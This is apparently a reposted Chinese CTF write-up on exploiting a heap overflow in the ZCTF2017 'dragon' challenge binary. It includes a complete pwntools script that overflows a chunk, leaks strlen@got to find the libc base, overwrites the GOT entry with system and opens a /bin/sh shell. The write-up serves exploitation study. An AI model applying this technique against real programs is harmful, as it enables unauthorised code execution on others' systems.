堆利用小结
Posted Yable
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了堆利用小结相关的知识,希望对你有一定的参考价值。
堆利用小结
关于堆的利用原理比较复杂,今天就只分析一个最简单的堆溢出,后面关于UAF,double free,unlink等的一些相关东西,我抽个集中的时间再总结写出来。这里就用一道ZCTF2017 dragon的一道堆溢出的题来分析:
这是一个64位的程序,开启了cannary 和PIE。
接下来我们找洞:
可以看到,在add函数的strdup函数处创建堆的时候出现了漏洞。导致在edit写入的数据的时候,可以写入的数据量大于strdup创建的堆,导致堆溢出,然后就可以覆写下一个堆的内容,进而leak地址和修改got。原理如下图:
脚本如下:
1 from pwn import * 2 3 debug = 1 4 #r = remote(\'58.213.63.30\', 11501) 5 r = process("./dragon") 6 context.log_level = \'debug\' 7 8 def add(size, name, content): 9 r.recvuntil(\'>> \') 10 r.sendline(\'1\') 11 r.recvuntil(\':\') 12 r.sendline(str(size)) 13 r.recvuntil(\':\') 14 r.sendline(name) 15 r.recvuntil(\':\') 16 r.sendline(content) 17 18 def edit(id, content): 19 r.recvuntil(\'>> \') 20 r.sendline(\'2\') 21 r.recvuntil(\':\') 22 r.sendline(str(id)) 23 r.recvuntil(\':\') 24 r.write(content) 25 26 def show(id): 27 r.recvuntil(\'>> \') 28 r.sendline(\'4\') 29 r.recvuntil(\':\') 30 r.sendline(str(id)) 31 32 def delete(id): 33 r.recvuntil(\'>> \') 34 r.sendline(\'3\') 35 r.recvuntil(\':\') 36 r.sendline(str(id)) 37 38 add(0x20, \'AAAA\', \'AAAA\') 39 add(0x20, \'BBBB\', \'B\'*0x18) 40 add(0x20, \'CCCC\', \'C\'*0x18) 41 42 edit(0, \'A\'*0x18+p64(0xd1)) 43 44 delete(1) 45 46 add(0x20, \'DDDD\', \'D\'*0x18) 47 48 strlen_got = 0x602028 49 50 add(0x10, \'EEEE\', p64(strlen_got)+\'E\'*0x10) 51 edit(3, p64(strlen_got)) 52 53 show(2) 54 r.recvuntil(\'content: \') 55 strlen_addr = u64(r.readline()[:-1].ljust(8, \'\\x00\')) 56 print "[*] strlen addr:{0}".format(hex(strlen_addr)) 57 #libc = ELF("./libc-2.19.so") 58 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 59 libc_base = strlen_addr - libc.symbols[\'strlen\'] 60 system_addr = libc_base + libc.symbols[\'system\'] 61 #gdb.attach(r,open(\'bb\')) 62 print"system_addr",hex(system_addr) 63 edit(2, p64(system_addr)) 64 65 edit(0, \'/bin/sh\\x00\') 66 r.interactive()
现在我们来对这道题仔细的研究下:
首先申请了3组堆,每add一个对象会创建三个堆,分别为空堆 + name + content。
然后拓展堆,并且释放到 Unsortbins:
然后构造两组堆!DDD和EEE。
可以看到 0xdb9100处,也就是我们把strlen@got的地址写入了,EEEE堆的内容(content)处:
这样我们在list(2)的时候,就可以leak出strlen的地址了,进而获取libc的基地址,获取system的地址,写入system地址,再传入参数。
这里有一个坑啊,通过read函数,改写strlen@got,因为read的指针指向EEEE的content,直接写入数据就行了。
然后就是调动system("/bin/sh")喽!
以上是关于堆利用小结的主要内容,如果未能解决你的问题,请参考以下文章
14.VisualVM使用详解15.VisualVM堆查看器使用的内存不足19.class文件--文件结构--魔数20.文件结构--常量池21.文件结构访问标志(2个字节)22.类加载机制概(代码片段
Swift新async/await并发中利用Task防止指定代码片段执行的数据竞争(Data Race)问题